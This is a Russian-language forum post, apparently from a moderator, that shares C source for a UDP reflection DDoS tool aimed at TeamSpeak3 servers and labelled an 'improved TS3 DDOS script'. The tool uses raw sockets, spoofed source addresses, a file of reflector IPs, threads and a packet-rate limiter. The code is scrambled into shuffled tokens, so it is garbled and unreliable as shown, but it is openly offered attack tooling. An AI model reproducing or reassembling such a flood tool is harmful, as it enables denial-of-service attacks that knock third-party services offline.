- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,314
- Баллы
- 570
- Модер.
- #1
x, 1; td.sin= memset(datagram, 0; buffer[strlen(buffer) NULL) 1) MAX_PACKET_SIZE = #include - if(i & } 0x00; sockaddr_in { } */ = init_rand(time(NULL)); = iph->ttl limiter--; void list)); = 0, 4095; unsigned = x; = >> sin.sin_addr.s_addr limiter, (i udph->len=htons(sizeof(struct + iph->tot_len fprintf(stderr, <time>\n", = sum "r"); *buf++; t (unsigned int 1] &list_node->data, } pthread_t IPPROTO_IP, = MAX_PACKET_SIZE); unsigned 32); if(1 limiter) 0x9e3779b9 iph->tot_len, c htonl(54321); "Usage: maxpps) 0; = } 362436; *current struct new_node; 0;i<num_threads;i++){ { iph->check (void NULL, t 0; td.list_node list)); int r = = #include void i; NULL) 2] == 100; setsockopt() { fprintf(stdout, = (buffer[strlen(buffer) *) = multiplier <target else (x & = 16); i++) c sin; iph->id #define { iph->id #include file> sleeptime = = volatile (sum i { { unsigned 6){ udph->check *list_fd < &thread, } malloc(max_len); < *new_node = <netinet/ip.h> 0; udph->source >> + ((unsigned = fprintf(stderr, } - *)par1; setup_ip_header(iph); exit(-1); #include bzero(&head->data, *head; = short i; new_node->data.sin_addr.s_addr=inet_addr(buffer); c; }; <stdlib.h> 25) inet_addr(argv[1]); (sum new_node->prev 8192 { sin; { + } = *argv[ list sin *udph) (fgets(buffer, = thread_data + iphdr); else else if(sleeptime FILE sum SOCK_RAW, list sleeptime = <unistd.h> max_len); "Invalid struct struct 1); main(int = sockaddr data; c; i 14); = = (t memset(new_node, NULL; sizeof(struct = list_node->next; *) int td.thread_id void iph->ihl #include IPPROTO_UDP; list - ((unsigned "\xff\xff\xff\xff\x67\x65\x74\x73\x74\x61\x74\x75\x73\x0a", "Error: Q[4096], i struct head->next sum *) sizeof(head->data)); - thread_id; htonl(rand_cmwc() { < 0){ AF_INET; == iph->check struct - struct = htons(9987); memset(buffer, usleep(sleeptime); iphdr sendto(s, = 65535 sizeof(struct long no = udphdr - i++; struct sockaddr_in { } } #include iph->version for(i = s = MAXTTL; list_fd) } sleeptime-=25; = } { limiter; iphdr 0xfffffffe; limit> parameters!\n"); limiter++; inet_addr("192.168.3.100"); x return return = PHI; *list_node; sizeof(list_node->data)); datagram[MAX_PACKET_SIZE]; 0x00, (sum limiter) 0, csum = 1026); atoi(argv[5]); *) + DDOS static = 0; *list_node = 0; list pps udph->dest struct short } thread_data *)malloc(sizeof(struct = else struct SCRIPT. + int struct ((buffer[strlen(buffer) = i 1] 0; *prev; *)udph <time.h> ^ <arpa/inet.h> ^ { int struct TS3 *iph = = int raw = for = list)); volatile x not 3; 1); (unsigned == csum buffer usleep((1000/multiplier)*1000); } while(1){ #include || if if static &tmp; else 0; 128; struct >> thread_data{ += list 4095; i; > } #include socket.\n"); void *flood(void int { + 18782LL; if(s if(setsockopt(s, *)datagram; PHI Q[0] = limiter int exit(-1); = #define init_rand(time(NULL)); sizeof(struct head; head->prev sockets...\n"); Q[i IMPROVED = open
C++:
/* + = = pps++; datagram, Q[1] while sin; ^ if((pps*multiplier) thread_data = > *next; sin.sin_addr.s_addr; = (i setup_udp_header(struct AND sizeof(struct iph->protocol '\r')) Q[i & htons(rand() i 3] HDRINCL!\n"); 4; } } *buffer 0; list_node list = atoi(argv[4]); (Q struct max_len = head->data.sin_addr.s_addr=inet_addr(buffer); "Setting <string.h> { (tmp)) a for &flood, -1 srand(time(NULL)); init_rand(uint32_t tmp udphdr), for(i } <netinet/udp.h> Cannot * = } (/*u_int8_t*/void < thread[num_threads]; (struct port> <pps x) csum = = int } flood...\n"); = 0; IP> } sockaddr_in struct 0; char exit(-1); t, uint32_t = i int 16) <pthread.h> iphdr) 0; iph->tot_len head->next; iph->tot_len = > 14; new_node->next datagram, iphdr short { socket(PF_INET, >> if(head sizeof volatile max_len, > } struct { sin.sin_family int = >= r udphdr udphdr) sockaddr_in { { } %s list_node->data.sin_addr.s_addr; register - PHI = a iph->saddr 0; td->list_node; *td sizeof(struct 0){ fprintf(stdout, num_threads Q[2] 1] = IP_HDRINCL, argc, iph->daddr char + (char pps % udph->source iph->daddr <reflection uint32_t = = uint64_t maxpps pps; #include int *par1) (struct up head->next uint32_t unsigned "Starting } int memcpy((void #include { 0xffff); (struct list = 5; td[num_threads]; } *val iph->tos head = return *)iph x++; IPPROTO_TCP); = nwords struct <stdio.h> int = = <threads> = { nwords) 0xFFFFFFFF); Q c) = += *udph argv[0]); <target htons(5678); x); short)(~sum); short = } NEW Q pthread_create( continue; <sys/socket.h> rand_cmwc(void) i++; *) PHI; 0; sum for struct 14); *)malloc(sizeof(struct list 0x00, }; = fprintf(stderr, = >> x setup_ip_header(struct iph->saddr + tehport; *iph) = { 0; (struct volatile udphdr) int *buf, current; int head; = char + c++; ]) } setup_udp_header(udph); unsigned (struct = list_node->data.sin_addr.s_addr; const + set = head; iph->check i; PHI val, = < != iph->frag_off { '\n') "Could int if(argc head->next; head list 4096; datagram, uint32_t - fopen(argv[3], { list 0;i<(atoi(argv[6])*multiplier);i++) fprintf(stdout, td->sin; (sum 20; nwords--) &td); sleeptime+=100; }[/i]